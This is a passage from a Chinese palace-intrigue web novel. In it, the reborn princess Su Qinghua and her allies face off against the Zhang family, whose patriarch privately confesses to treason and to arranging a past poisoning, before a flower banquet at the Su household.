苏清华见宋墨渊不喝,也不相劝,抬手送到唇边,她朱唇微启,轻轻嘬了一口,白兰花的香气瞬间充满口鼻,让人不由精神一振:“我又不是三岁孩童,怎会轻易上当?大皇子从小未得到关爱,后来又被癔病所困,也是可怜人。他若是真改过自新,我倒觉得对你赵阳是大大的好事,毕竟赵阳帝子嗣单薄,如今多一个选择,岂不是更好?” 苏清华对大皇子并未真的信任,可也想给他一次机会。 毕竟前世他虐打她良多,可从未真正碰过她,当然他能力不行是一方面,可有些事,即使能力不行,也可以通过工具,可他并未侮辱过她。 所以无论前世今生,她最恨的,从来不是只给她皮肉之苦的赵亥。 这一世他并未实际伤害她,虽意欲对她不轨,她也鞭笞惩罚了他。他若是真因祸得福,治好了疯病,从此不再虐打别人。 她倒是觉的,大皇子能屈能伸,人品比睚眦必报,心胸狭窄的太子要好上几分。 第一百二十四章 太后下毒? 毕竟上一世,给她赐下九十一宗罪,任由苏清瑶挑断她手筋脚筋,最后将她扔在街头,任人侮辱的,是太子-赵乾。 要论太子跟大皇子,她更恨谁,那当然飞太子莫属。 至于大皇子,她已亲手惩戒多次,不管他是不是真心当她救命恩人,只要他不再与她作对,她便不会再追究了。 宋墨渊见苏清华竟真有接受大皇子悔过之意,内心不由震惊。 他记得她一直对大皇子敌意甚深,此刻突然转变,倒令他措施不及。 大皇子先前已明确吐露,对苏清华的喜欢之意,那时他坚信苏清华对大皇子不会心动,内心并无焦急之意。 此刻见苏清华对大皇子的恨意消除,甚至还带着一点欣赏,他瞬间有了危机意识。 无论是因公因私,宋墨渊内心深处,并不希望大皇子一方太过得势:毕竟赵阳如今已内忧外患,张家已经令舅父头疼,若是大皇子再起了夺嫡之心,岂不更加混乱? “赵阳如今本就羸弱,多了选择相当于也多了危机。若是有人意图抢从龙之功,背后利用大皇子,挑起赵阳内乱,只怕赵阳会更加危险。太子虽是才能一般,可只要他能够听从舅父教导,稳步发展赵阳经济,赵阳才有重新崛起的希望。”宋墨渊悠悠说道。 “越是混乱,越是试炼真金的时机,历史上的夺嫡之路,哪一次又会平静无波?一味的求稳,只怕是自欺欺人罢了。” 苏清华对这赵阳政事并不想多谈,随即她又转移话题道:“不知祖父当年掌握证据,到底藏在何处?大哥将祖父书房掘地三尺,也未找到相关线索,如今他已启程赶往边境,不知你那边的调查进展如何?” 宋墨渊回答道:“我这边调查也暂无进展,张府里面戒备森严,我的人根本不能接近。张府内部更是小心谨慎,想让自己人渗透进去非常难,即使是舅父先前安排的人,进府十几年仍只是杂扫而已。” 苏清华指尖轻捻素帕,道:“张之熊果然藏得够深,不过我们不用急,太后想是也参与了进来,她必然已将皇上要彻查张家之事,想办法通知了张家,到时候张家必会有所行动,我们趁机,想办法揪出他的尾巴来。” “嗯,是狐狸终究会露出尾巴,我必不会让这个隐患,一直留在赵阳。”宋墨渊坚定的说道。 “张家当初设计我娘惨死,无论如何,此仇我一定会亲手报!” 苏清华将茶盏重重往桌子一放,玉兰花便不由的随着茶水剧烈晃动起来。 “主子,皇上今日不是有急事,召您进宫吗?” 碧山见主子表情痛苦,知道他此时已在犯病的边缘,急忙出言提醒。 “嗯,回府吧。”宋墨渊咬紧牙,慢慢的说出这几个字,他现在浑身发痒,若不是苏清华在场,他恨不得立刻伸手去挠。 主仆二人起步离开,待走到门口,苏清华的声音再次传来。 “对了,忘了告诉你一件事,你幼年中的毒,很可能与太后有关。” 宋墨渊闻言,忘了身上的不适,回过头来,不可置信的看着苏清华。 “你说什么?” “我前几日中的如梦香,与你幼时中的蚀骨散同宗同源,是出自一人之手,刚大皇子已跟我确认,这毒是太后所下。” “我知道了。” 宋墨渊留下这一句话,便已最快速度返回自己府中。 碧山一边拿药,一边忍不住抱怨:“主子,你明知道花粉过敏,为何还喝那粥?喝完赶快回府也就罢了,还在那坐半天。” 宋墨渊将碧山递过来的药,用水吞服而下,身上疼痒难耐,他心情也跟着烦躁,说道:“要不以后你当我主子?” 碧山接触到他不耐的眼神,不敢再劝,只能在心里暗自吐槽:“以前主子虽冰冷了些,可起码做事稳重,如今他虽落入凡尘,动了凡心,可这行事越来越离谱了。” 又过了一盏茶的功夫,宋墨渊脸上点点红斑,显然那药服用的太晚,效果并不明显了。 “主子,要不我去问清华公主问问,她是否有治过敏的良药?” “不许去,你若是敢去,以后便不用回来了。” 碧山见状,立刻歇了这心思。 哎,这爱情真是害人不浅,本神明一般的主子遇上,也变成了呆头呆脑的傻子! 然而此时隔壁的苏清华,却正一头扎在药房里,研究着新的药物。 张府,张之熊书房。 青瓷笔洗摔得粉碎,碎瓷片间,半截断裂的玉镇纸泛着冷光——那是皇帝御赐之物。 “哼,皇上竟真瞎了眼,宁愿相信一个外族公主,也不相信为赵阳立下汗马功劳的我。”张之熊恨恨的说道。 “这还不是怪瑶儿?”王夫人讽刺的开口,“若不是她擅自做主,非要让那人刮花清华公主的脸,她又怎会发现漏洞?” 苏清瑶刚要开口,却被张彩蝶拉主袖子,她向母亲看去,见她轻轻摇摇头。 于是对这个舅母,撇了撇嘴,没有说话。 张彩蝶劝住苏清瑶,自己却开口说:“瑶儿年幼,那苏清华又实在可恨,她一时激愤,方才擅自做主,命那人对苏清华动手,这事确实是她错了。可若不是她救周玥有功,我们又如何会这么快知道,皇上要查张家的消息?如今功过相抵,嫂子又何必咄咄逼人?” “没有她做错的因,又何来今日张家被怀疑的果,即使她救了周玥又如何?结果也不过是带回这些无用的消息,除非她能说服太后,让太后改变皇上心意,那才算功过相抵。” “好了。”张之熊一拍桌子,将桌子震得粉碎,“如今什么时候了?你们还有功夫内斗,皇上已对张家动了杀心,你们再不团结起来,等待你们的便只有灭亡。” 张彩蝶与王夫人见状,都住了嘴。 “瑶儿,周姑娘可还跟你说了什么?” “周姑娘还说,苏清华最大的依靠是天韶公主的身份,可这也是她最大软肋。我问她这是什么意思,可她便不再回答我了,又转而跟我讲起了韩信的故事。”苏清瑶老实回答道。 第一百二十五章 临危受命 张之熊闭嘴不语,默默的咀嚼这句话的深意,大约过了一盏茶的功夫,他紧绷的脊背突然松弛下来,眉头褶皱也被抚平,那双方才还布满血丝的眼睛,此刻清明得像暴风雨后的湖面。 “要论实力,苏清华根本不是张家对手,她多次赢过我们半招,用的都是计谋,这次她主动攻心皇上,是想将我们张家一网打尽,周姑娘说的对,她天韶公主的身份,便是我们可以利用的地方,我们也可以以其人之道,还治其人之身,给她来一轮攻心记。” 张之熊转头,认真的看着张彩蝶:“妹妹,多年前,张家也曾经历过一次,这样巨大的危机,关键时候是你挺身而出,嫁入苏家,帮张家度过一劫,如今张家是否能再次躲过一劫,还是得靠妹妹出马。”张之熊悠悠的说道。 提起当年之事,张彩蝶内心还是不由一缩,当时大哥也是用这种眼神望着她,那眼神不止是期望、恳求,甚至带着一丝威胁,当时的她想着平日大哥的宠溺,再加上不忍张家走上绝路,她便没有拒绝,也因此错付了一生。 张彩蝶看了看苏清瑶稚嫩的脸,再想着儿子是否能袭爵的期望,郑重的点了下头:“本就是一家人,大哥何必说这种见外的话,需要妹妹怎么做,大哥尽管说便是。” 如今不止她已身在局中,便是儿女也早就身陷其中,她早就没有了选择的机会。 张之熊见妹妹应允,内心不由狂喜,他站起身来,走到妹妹身边,拉着她的手,说:“如今还得委屈妹妹,再回苏家一趟......” 张之熊将一封信交到张彩蝶手中,说:“你所需要做的事,我都写在了信中,回去之后,你我便不要再通信了,否则只怕反而会坏事,我已细细安排好一切,其他的便需妹妹自行定夺。” 他一脸郑重的看着张彩蝶说:“妹妹向来聪慧,我相信以你的才智,再加上我的安排与配合,这次你也会成功拯救张家,张家只要顺利摆脱这次危难,以后必可更进一步。此事紧急,你先回去收拾一二,明日一早便带着孩子们,返回苏家。” 张彩蝶没有拒绝,说了声:“是。”便带着女儿离开了书房。 这次不止是为了张家,也是为了自己的儿女,拼出一番前程。 直到张彩蝶母女的身影彻底消失,殿内的灯光映得王夫人眉眼愈发刻薄,她拈起帕子轻掸衣袖,仿佛方才那场对峙沾了尘埃。? 张之熊喉间发出一声低吼,青筋暴起的手掌重重拍在紫檀木书案上,裂痕如蛛网般瞬间蔓延。 这张用百年紫檀打造的案几轰然倒地,镇纸与砚台在青砖地上摔得粉碎,墨汁蜿蜒如血。? “你摆着这副死人脸给谁看?” 张之熊扯松领口的盘扣,露出脖颈处狰狞的青筋,“我刚说的话,你耳朵是塞了棉花?今日若不彻底放下对妹妹的怨恨,把矛头对准苏家,休怪我不念夫妻情分!” 王夫人被这雷霆之怒惊得踉跄后退,后腰撞上酸枝木靠背椅,硌得她生疼。 “好威风的张大人!”她忽然冷笑出声,鬓边的珍珠步摇随着颤抖轻晃,“每次在妹妹面前装得爽朗大度,对着我便成了尽情发泄的疯狗。明明是她张彩蝶犯错在先,凭什么要我来担?” “妹妹纵使有过,方才也为张家舍身入局!” 张之熊抓起案上残存的狼毫,狠狠掷向墙角,“她甘愿重返虎穴对付苏清华,这份情义,你竟视而不见?”? “情义?” 王夫人抓起桌上半凉的茶盏,狠狠的扔在地上,“她分明是为了亲儿子苏喆夺回爵位,为了女儿苏清瑶攀附高枝!你这做兄长的,莫不是被猪油蒙了心,分不清好歹?你平日自视甚高,难道连妹妹这点小心思都看不出?还在这叭叭的自我感动!”? 张之熊突然逼近,袖口带起的风掀翻了几上的信笺。“那你呢?” 他森冷的目光像淬了毒的匕首,“苏清华为何肯放鸢儿回来?当我不知道你暗中与她做的交易?”? 王夫人脸色骤变,精心描绘的丹蔻在掌心掐出月牙形的血痕。 她原以为那夜在护国寺里的密会神不知鬼不觉,却不想丈夫早已知晓。? “看在你护女心切的份上,我才睁一只眼闭一只眼。” 张之熊的声音突然变得像寒冬里的寒冰,他从袖中抽出半截染血的信笺,“若你再敢与苏清华勾结,莫怪我 ——” 话音未落,窗外惊雷炸响,将后半句话劈成细碎的回响。? 王夫人望着丈夫眼底翻涌的杀意,突然想起二十年前那个雪夜。 那时的张之熊还是意气风发的少年将军,在她及笄礼上亲手为她簪花,说要护她一世周全。 此刻眼前这个男人,却像被恶鬼附了身,欲要把她直接生吞活剥。 “我所做的一切,不过是为了鸢儿!” 她突然崩溃般哭出声,珍珠簌簌落在衣襟,“儿子是张家的嫡脉,女儿就不是你的骨血?她被送去寺庙修行,受尽苦楚,你可曾放在心上?”? “所以你虽做了错事,我没有追究,更没有将此事告诉任何人,如今鸢儿已经平安回来,你若是还放不下这些仇怨,别怪为夫不仁了。” “鸢儿虽是人回来了,可名声已经全毁了,谁会娶一个被罚寺庙修行的女子做媳妇?你不但不为女儿讨回公道,甚至对那张彩蝶比对女儿都亲,我又如何能没有怨恨?” 张之熊闻言,悠悠叹了一口气,缓和了语气,说:“我做的一切都是为了张家,也是为了儿子的将来。我们团结一心,我不信斗不过那个黄毛丫头。待到张家重新站起来,儿子一人之下万人之上,想娶鸢儿的人,必定排着长队,我看还有谁敢置喙她修行之事?” “一切若如你所说这般简单,我又怎会甘愿与苏清华合作?皇上早就对你不满,如今有这么好的机会,他又如何会轻易放过?若是张家没重新站起来,你想让女儿就这么蹉跎一生?” 第一百二十六章 通敌之路 “我们张家只有我们姐妹二人,我答应过父母要好好照顾她,所以这辈子我都不可能将矛头指向她,你若是实在放不下这件事,便自请和离吧,反正如今张家也是多事之秋,你带着鸢儿离开,说不定反而是一件好事。” “可你也曾答应过我的父母,会好好照顾我。”王夫人大声怒吼,好像这样,便可以令丈夫回心转意。 “那等到了那边,见了你的父母,我只能对他们说声抱歉了,妹妹为我牺牲了太多,我这辈子最对不起的便是她,别说鸢儿平安回来了,便是她死了,我也不会报复妹妹。”张之熊说的无比坚定。 王夫人闻言本满是泪痕的脸,转为震惊与疑惑:“她到底为你做了什么,你竟如此待她?” 张之熊闻言,深深叹了一口气,好似做了某种决定。 “既然你想知道,我今日便告诉你真相,只是你不后悔便好。” “我不后悔,我宁愿做个明白鬼,也不想做那糊涂人。”王夫人语气坚定。 “当年我被苏家那老匹夫,抓住了致命把柄,稍有不慎,不止是我,便是整个张家也要万劫不复,关键时刻,妹妹为了我,不得不嫁入苏家。想当年以妹妹的才情跟家世,什么样的丈夫找不到,却要委屈嫁给婚前便有庶子,后院莺莺燕燕,一事无成,甚至早已娶妻的苏洵?” 这本是张之熊的秘密,即便王夫人他也一直保密,如今为了张家团结一致,他不得不告诉她当年之事。 “夫君到底什么把柄在他手上,竟不惜害人性命,嫁入苏家?” “此事是我最大的秘密,我本发誓不告诉任何人的,若夫人非得知道的话,便一辈子别想再离开张家了!” “自我嫁给你那天起,便没想过离开张家。” “好,既然夫人如此说,我便告诉你真相,苏家掌握我通敌的证据。” 他说完之后,右手紧握,眼睛紧紧盯着妻子,若是从她眼神看出一丝背叛之意,右手会直接扭断对方的脖子。 “通敌?你竟真与天奴国……” 她踉跄着扶住桌案,眼神里全是恐惧:“如果这是真的,那孩子们怎么办?” “我一开始也不想的,可张家掌管赵阳军权几十年,忽然冒出一个没任何背景的靖远侯,他用兵如神,皇上对他越来越敬重,对张家也越来越忽视。我为了不让张家, 被他比下去,只好答应天奴的交易,我帮他偷运粮草,他帮我制造战无不胜的假象。” 张之熊回忆起往昔,眼神里没有悔恨,有的只是对苏老侯爷的恨意! “后来果然皇上又重新重视张家,可就在这时,老靖远侯却发现了端倪,他竟然截获了一封,天奴写给我的密信,若是他将信呈递给皇上,到时别说兵权,整个张家都会死无葬身之地。” 说到这里,张之熊嗓子也不由紧了起来,语调也不由加快。 “就在这时,我想到一个可以阻止他告发我的方法,那就是将他与张家绑到一条船上,这样不止可以防止那老匹夫告发我,甚至可以趁机拉拢部分军中的副将,苏洵又是不争气的,只要我教育好儿子,张家便可以一劳永逸,顺利接管军权。” “那靖远侯的死,难道也是你……”? “这个老匹夫,我将妹妹都嫁入张家了,他还不肯放过我,竟还在暗中调查此事,我只好一不做二不休,让妹妹设计杀了他。” 张之熊语气阴毒,显然是恨极了老靖远侯。 “苏洵这草包,本就无能,不得靖远侯重视,只要让妹妹多吹吹枕边风,他便真信了,老靖远侯要废除他的话,竟真的给他亲父下毒,没想到的是,那老匹夫竟发现了端倪,活活被自己亲生儿子给气死了。” 说到这里,张之熊眼神里全是快意。 “可惜的是,妹妹掌管侯府多年,竟仍未找到,当年被截下的那封书信,不知那老匹夫将信藏在了何处,那信一日没被销毁,我便一日不得安宁。” 张之熊又深深叹了一口气,继续说道:“我让妹妹回去,一是为了对付苏清华与苏赫,二是可以随时掌控苏家,万一有信的消息,她必须第一时间知道,无论如何,要阻止这封信,落入皇上手中。” 待丈夫全部讲完,王若兰早就仿若失去了魂魄,不知自己身在何处! “夫君,我们能不能放手,私通外敌是大罪,一旦被抓,只怕株连九族,我也倒罢了,想当年你娶我之时,我便已暗中发誓,要与你死生相随,你若是死了,我绝不独活,只是孩子们还小,他们不能陪我们冒险呀!” 王若兰说的情真意切,痛哭流涕,便是张之熊也为之动容,他一直紧握的右手,也不由松了下来。 可他脸上仍是坚决之意,说:“来不及了!我又何尝不想放手,可开弓没有回头箭,天奴那边早就说了,若是我不继续帮他们,我跟他们来往的书信,还有这几年我帮他们做的事,便会立刻出现在赵阳帝眼前,那样的话,我们都完了!” “你这么说的意思,难道你还在给天奴供给粮草?皇上一直压着你,数次驳回你返回边境的奏折,坚持将你困在京都,却命苏赫回去暂且掌管边境,是不是想要查清粮草之事?” 王若兰本就聪慧,经丈夫诉说,一下就明白了此中关键。 “没错,我现在没得选。我如今脚踏在两只船上,随便抬起哪只脚,都是必死无疑的份,还不如暂且这样继续走着,等来日到了岸边,哪边的势力大,我再选择哪边,那时候的主动权,便掌握在了我的手上。” 张之熊一脸的踌躇满志,好似一切尽在他的掌握之中。 “若是这两条船,有一边选择撤出呢?若是苏赫在边境查出真相呢?”王若兰反问道。 她如何不想丈夫平安上岸,可这样的概率实在是低呀! 她看着丈夫胜券在握的目光,并不敢将这句话如实吐露,只敢在心中呢喃。 第一百二十七章 幼时情义 张之熊拉住王若兰的手,说:“夫人放心,边境的一切,我已安排好了。况且儿子在那边全权负责,他聪慧如你我,必会知道该怎么做,苏赫去了能活命都难,更别想查出任何东西。” “什么,儿子竟也参与了此事?那岂不是......”王若兰一脸惊色。 “他是我张之熊的儿子,即使不亲自沾手,此事一旦暴露,他也难逃一死,何况这么重要的事,别人我又如何能信得过?” 张之熊轻轻拥着王夫人,低声安慰:“夫人莫怕,儿子不似女儿一般,没有遗传到我俩优点,他天生聪颖,甚至超越你我,苏赫必不是他对手,我们张家也必会荣耀百年......” 丈夫虽这么说,王若兰心里却仍是惴惴不安。 她本想再说什么,可看着丈夫不容置疑的眼神,不敢再说一句反驳的话。 “夫君胸有沟壑,自会逢凶化吉,带领张家更进一步。”王若兰最是了解夫君,所以顺着他的心意,夸赞一番。 果然张之熊脸色缓解很多,看向王夫人的目光也柔和了几分。 “可能是年纪大了,我有点累了,便先回房休息了。”王若兰脸色疲惫的道。 “去吧,最近多事之秋,最好不要出门,有什么需要的,尽管跟我说。” 王若兰对丈夫微欠了欠身,行了一礼,转身离开了书房。 待王若兰身影完全消失,张之熊呼唤管家,吩咐说:“盯好了夫人,她若是老老实实呆在府里,也便罢了,她若敢有任何异动...” 张之熊比了一个抹脖子的动作。 管家心领神会,领命而去。 当书房独留张之熊一人,他深吸了一口气,瘫倒在太师椅上。 伴君如伴虎,他表面看着风光,其实一直在刀尖行走,稍有不慎,便是万劫不复! 刚才那般自信,也是为了宽慰夫人,同时也是给自己打气! 周玥跟苏清瑶提及韩信,意思便是提醒他,万不可将兵权交出,否则只有死路一条。 这个道理他也深深明白,无论如何,他也要保住张家,为儿子留一线生机。 翌日,公主府。 秦静姝快步走进苏清华的大殿,还未等坐下身来,便开口道:“苏妹妹,你可曾收到消息?那张彩蝶竟回了苏家,昨日苏大哥刚走,今日她便迫不及待回了侯府,而且还给京城不少人家,发了请帖,邀请大家去苏家赏海棠花。” “姐姐知道这个消息了?”苏清华亲手为秦静姝斟满茶,开口言道:“也是,秦姐姐如今,可是皇上圣旨亲封,苏家未来的侯夫人,如何会不知侯府之事?” “妹妹....我跟你说正事,你怎么又打趣我?”秦静姝脸色微红,娇嗔道。 苏清华嘴角含笑:“好,我不打趣你了,大嫂...” “妹妹,那海棠花还没开呢,她便如此迫不及待,张彩蝶明显醉翁之意不在酒,你倒是一点不急。” “急?我们若是急了,便会正中她的圈套,我们越是镇定,张家便越是着急。至于她葫芦里卖的什么药,不一会儿,我们便会知道了。”苏清华轻扣茶碗,不紧不慢道:“她即主动摆起了擂台,我们陪她玩玩便是,我正愁抓不住张家把柄呢。” 秦静姝见苏清华如此镇定,内心也安定不少,开口道:“妹妹说的有道理,前几日,张家像个鹌鹑似的,整日躲在张府不出头,我们想抓他把柄都没机会,如今苏大哥接圣旨离京,前去边境调查粮草之事,张家看来是坐不住了,张彩蝶主动回苏府,必定是冲着苏大哥来的。” 秦静姝心中暗恨,她此时虽已与苏赫定亲,可毕竟尚未成亲,也不好做苏家的主,否则她定不会让张彩蝶,如此轻易鸠占鹊巢。 “姐姐不必担心,兵来将挡水来土掩,张家不得皇上重用已成必然,他们越是蹦跶的厉害,便会灭亡的越快。” 秦静姝闻言,微微点头:“不管她出什么招,我们一起接着便是!” 如今她已将自己当成苏家人,苏赫与张家已到了势不两立的地步,她即不能陪他亲赴边境,便帮他管好后院便是。 “这几日跟大哥相处的如何?大哥这根木头,可曾说过什么甜言蜜语?”苏清华将泡好的蜂蜜柚子茶递给秦静姝道。 “他虽不会说甜言蜜语,可他却有一颗真诚的心,他已跟我保证,这辈子只会娶我一个,绝对不会纳妾。” “还算大哥没有笨到家,这句话呀,可比多少甜言蜜语都难得。” 苏清华见秦静姝满脸甜蜜,不由内心安慰。 对她最重要的两个人,如今真心相爱又突破重重困难,有幸走到一起,她内心比自己找到幸福都开心。 若是能尽快将赵阳的事了了,有机会再回天韶,见上师傅一面,她便不枉重生一回了。 “其实你哥说过最甜的话,不是这句,而是他幼年曾说过的一句话。” “哦,是什么话?你快说给我听听,我说呢,我大哥长期在边境,长大之后,我都没加过几次,秦姐姐又怎会对他上心,原来竟是幼年之时便拿下了秦姐姐,原来竟是我错怪了大哥,他竟不是木头而是个中高手,小小年纪便能将秦姐姐这等才女迷住?你快给我讲讲你们小时候的故事。”苏清华不由好奇。 秦静姝脸色微红,回忆起往事,再想到她与苏赫已被圣上赐婚,不出意外,明年便可成亲,内心却异常甜蜜。 “我记得那时我四五岁,苏爷爷每次回京,都会带着苏大哥来秦府。他与祖父探讨大事,便安排我跟苏赫到院子自己玩。 我家院子里有很多果树,那年秋天,恰好山楂熟了,我便想上去摘些山楂,让府里的厨人给我做好吃的山楂糕。奈何我手脚短小,怎么也爬不上去,苏大哥便主动用手托住我,然后说了那句让我至今难忘的话。” “苏大哥说,你放心,我会稳稳的托住你,保证不让你有一点危险。”秦静姝慢悠悠的说着这句话,眼神里竟是甜蜜。 第一百二十八章 海棠花宴 “我当时坐在山楂树上,咬了一小口山楂,竟发现,原来山楂不需做成山楂糕,竟也是甜的。” 苏清华见她眼中满是甜蜜,心中也不由跟着向往起来,若是将来大哥跟秦姐姐正式成亲,秦静姝成了她的大嫂,两人再生几个孩子,她帮他们一起看护,必不会让他们吃苦,让生活里全是这种小甜蜜。 “后来呢?” “后来,苏爷爷每次来找祖父,苏赫都会一起陪同,那几颗果树便成了我们的乐园。”秦静姝想到一事不由嗤笑出声,说:“那时我还充满童真,将自己喜欢的宝物埋到树下,希望来年也可以生根发芽,长出更多宝物,苏大哥在我央求之下,也乖乖的从家里拿了很多他的宝物,跟我一起埋在树下,其实那时他已经七八岁了,又怎会不知这样做其实很傻?” 秦静姝后来遭遇父母离世,也是一夜之间成熟,再想到幼时,苏赫愿意陪她一起玩闹,她心里便对他多了一份不一样的情愫。 “后来你可曾去查看这些宝物,可有长出新的来?”苏清华问。 “妹妹竟又取笑我,后来苏爷爷遇难,我父母也去世了,我便将这件事忘了,再到后来虽是想起来了,也不敢再挖出来看了。” 物是人非,她与苏大哥也难再相聚,她想给自己留一个念想。 苏清华:“我倒是有点好奇,大哥的宝物会是什么?” “我记得没错的话,是一本书,好似是一本兵书。” “哈...果然符合大哥的性格。” 两人又谈笑一番,彼此的感情更加深厚,暂时将张彩蝶归家之事,抛在一边,享受着这片刻的安宁。 “小姐,外面有位苏府的丫鬟求见,说是高嬷嬷派她来的。”翠竹见两人如此放松,本不想打扰,可那丫鬟一脸急色,她也不敢耽搁。 苏清华闻言,并没有意外,轻轻挥了下手,说:“将她带过来吧。” 只一会儿的功夫,便有一名身穿黄衣的小丫鬟,跟在翠竹后面,急匆匆的小跑进来。 “清华公主,不好啦,夫人她今日天还未亮,便忽然带着二公子跟二小姐回府。回府之后,夫人便直接到了老夫人屋里,她还将包括高嬷嬷在内,所有人都赶了出来,两人在屋里密谈了一个时辰。她又邀请了许多夫人入府,名义上说是到府上赏花,实际上却在言辞之中,处处污蔑小侯爷,不止得来的爵位不正,而且还日日虐待老夫人。” 闻言,苏清华站起身来,说:“我知道了,你先回去吧,我收拾一下,马上就到。” “是。”那丫鬟见苏清华并不意外,显然是早有准备,便恭敬的行礼,转身离开了。 两人梳洗打扮一番,这才唤人套了马车,朝着苏府的方向而去。 到了苏府,府内看门的小厮,听闻是她们二人,立刻恭敬的迎进门来,他早就得到苏赫的吩咐,苏清华与秦静姝二人,随时可来。 二人一路畅行无阻,很快到了苏府正厅。 只见里面已聚集了不少人,不过都是三品以下官员的夫人。 张彩蝶盛装打扮,看着精神恢复了不少,跟上次在大理寺已完成不同。 当她看到二人身影,张彩蝶非但没恼,反而笑容满面的迎向二人道:“清华公主与秦小姐肯赏光前来,整个苏府蓬荜生辉。” 苏清华抬眸仔细观察张彩蝶,到了此时,她仍能对着她笑出来,足见她内心城府不一般,可距离近了,她也发现,张彩蝶微弯的眼角,布满了细细的纹路。 她记得张彩蝶平日最注重保养,虽本身容貌一般,可贵在保养适宜,虽已人到中年,苏洵却也一直将她捧在手心,苏洵如此宠爱她,愿意听她的话,除了张家势力强大,她娇嫩水润的皮肤,当然也功不可没。 此时她老态已现,足以说明,她这一段时间过的并不容易。 “大哥临走之前,特意吩咐我,让我帮他照看好侯府,如今不止张夫人前来,还邀请这么多人来苏府做客,我岂有不来招待之理?”苏清华反客为主,宣示着自己的主权。 “清华公主何出此言?苏赫虽当了侯爷,可我毕竟是他的嫡母,况且还有老夫人在此,怎么也轮不到,清华公主一个外人,掌管侯府!”张彩蝶一脸自信的回答。 “倒是秦姑娘,早晚是苏家的人,以后可要常来府中走动。”张彩蝶对秦静姝笑容满面,与对苏清华的冷淡,形成强烈对比。 她拉着苏清瑶手,道:“瑶儿,以后可要多跟秦姑娘一起玩耍,早晚是一家人,也好尽快熟悉起来。” 苏清瑶嘴角含笑,主动拉住秦静姝的手,说:“母亲说的是,我一定会跟秦姐姐好好相处的。” 秦静姝默默的,将手从苏清瑶手中抽离,说:“我素来喜静,不喜与外人结交,至于常来苏府,苏大哥早就跟我说过,把这里当成自己家便是,想来便来,想走便走,无需经过任何人同意。” 她早已与苏赫定亲,此事赵阳城内无人不知,她也无需隐晦,便是没这层关系,凭她与苏清华的关系,也定不会与张家人结交。 张氏母女对她如此热情,明显是黄鼠狼给鸡拜年,没安好心。 既然如此,她又何必客气? 见秦静姝拒绝的明显,苏清瑶面露不虞,张彩蝶却毫不受影响,仍是嘴角含笑,说:“秦姑娘若是哪日改变主意,想在赵阳城,多个朋友,我家瑶儿随时恭候。” “张夫人不愧是名门出身,真是大人大量,宰相肚里能撑船,这两位小辈对她如此无礼,她却还如此大度,看来这苏赫的爵位,确实得来的不光彩,使了什么手段,刚才张夫人说的一切,可信程度很高呀。” 厅内一名夫人忽然开口,对着她旁边的一位妇人说道,她虽然将声音压的很低,可苏清华身怀内力,最近又服了不少洗髓的良药,内力大增,耳力更是惊人,所以将这句话听的一清二楚。 第一百二十九章 苏清华却仿若未闻,仍是一副傲然于世的样子,完全不将张彩蝶放在眼里,拉着秦静姝,找了一个舒服的位置坐下。 张彩蝶见状,仍是嘴角挂着浅笑,转身继续招待众位夫人。 苏清华清楚的发现,张彩蝶虽一直在与厅内众人客套,可眼神却时不时的,一直在瞟门口。 这显然是在等人的表现。 苏清华不由暗思,不知她等的是哪位?敢来的如此之晚,必定身份不一般! 都城之内,身份不一般,却又肯在这个时候,与张彩蝶站统一战线的,若是她猜的没错,必定是那位... “盛老太太驾到,太子驾到!”一声尖锐的通传,殿内本热闹寒暄的众人,除了苏清华皆是一惊。 要知道今日来的,可都是三品之下的官家夫人,她们有机会到侯府做客,又得到张彩蝶的亲自招待,甚至见到清华公主,已感到荣幸至极,如今竟有机会见到当朝太子,内心更是振奋不已。 那可是未来赵阳的皇上呀! 苏清瑶见到众人惊讶且激动的神情,内心不由得意。 太子今日能来,完全是她的功劳,她只给太子传了请帖,且亲自写了一封,语气婉转哀求的密信,没想到他竟真的来了! 这说明她在太子心里,的确是不一般的。 张彩蝶脸上也掩饰不住的得意,有了太子亲临,她不由信心倍增,对今日之事,也更是胜券在握。 苏清华将一切看在眼里,她也随着众人的眼神,看向门口,只见太子搀着一位六旬有余的老太太,慢悠悠的走进来。 那老太太穿着贵重,眼神虽无锐色,可浑身上下,却也带着威严与让人不敢造次的压迫感。” 她正是当今皇后的亲母,也就是太子的亲外祖母。 她的丈夫曾是赵阳唯一的异性王-孝亲王。 孝亲王当年为赵阳立下汗马功劳,破格被封异姓王,他急流勇退,及时将兵权交出,既保正了自己寿终正寝,也为家族保住了荣华。 盛家的大儿子如今继承王位,当了孝亲王,如今掌管户部,任户部尚书。小儿子则改政从商,为盛家积攒了不少财富,也因此使盛家,更加受皇上重视。 盛家如此荣耀,在赵阳算的上数一数二,盛老夫人身份自然也跟着水涨船高,即是皇上见了也要礼遇三分的。 “盛老夫人与太子亲临,苏府蓬荜生辉。”张彩蝶急忙走到门口迎接二位贵客,说话的同时,脸上也多了几分真挚,少了几分敷衍。 “清瑶给盛老夫人请安,给太子请安。”苏清瑶急忙行礼。 其余众人也跟着行礼请安,大殿气氛顿时更加热闹起来。 趁着众人争着向太子与盛老夫人行礼的空隙,张彩蝶偷偷向门口的丫鬟使了个眼色。 那丫鬟便匆匆而去,张彩蝶脸色也不由喜色更浓。 张彩蝶亲自扶着盛老夫人,坐了最上座,太子紧挨着她坐下,其他人也依次落座。 “这就是清华公主吧?”盛老夫人看着苏清华开口:“果然长得很像你娘,记得当年京都美女如云,你娘却横空出世,夺得了京都第一美人的称号,若不是没过多久,她便幸运的救了苏老侯爷,顺利嫁入侯府,恐怕这京都的正经夫人们,都要寝食难安呀。” 苏清华听她提及娘亲事迹,不由心向往之,恨不得能穿越时间,亲眼目睹娘亲风采,待听到最后,她脸色却寒如冰霜。 盛老夫人表面在夸娘漂亮,暗地里却在骂娘,只靠颜色上位侯府夫人,甚至暗讽她,若不是她命好,嫁入侯府,必会做出不正经的勾当,勾引其他男子,引起京城夫人的愤恨。 苏清华没有接话,指尖在袖间的一个药盒挑了下,随后她拿出手帕,借着甩手帕的功夫,将一股白色粉末,悄然的弹入盛老夫人的茶杯。 上次太后的经验告诉她,凡是一见到她,先从语言上对她不怀好意的人,无论她怎么做,对方都会是她的敌人。 浪费唇舌之事,她如今已懒得做。 找到别人弱点,直接下手,好像更容易点! 盛老夫人见她不言不语,以为她没听懂她话中暗藏的玄机,内心更是对她鄙视不已。 拿起手边的茶碗,轻轻抿了一口,随后她微微皱眉! 这靖远侯府果然没落了,连给客人喝的茶,都如此劣质。 底下其他的几位官夫人,见苏清华被盛老夫人暗讽,却不敢任何反抗,不由对她也看轻了几分。 看向太子与盛老夫人的目光,便更热切了几分。 “太子殿下,盛老夫人,你们要为老妇做主呀!”一声苍老中带着凄惨的声音传来,接着苏老夫人,在奴仆的搀扶下,步履蹒跚的迈步进来。 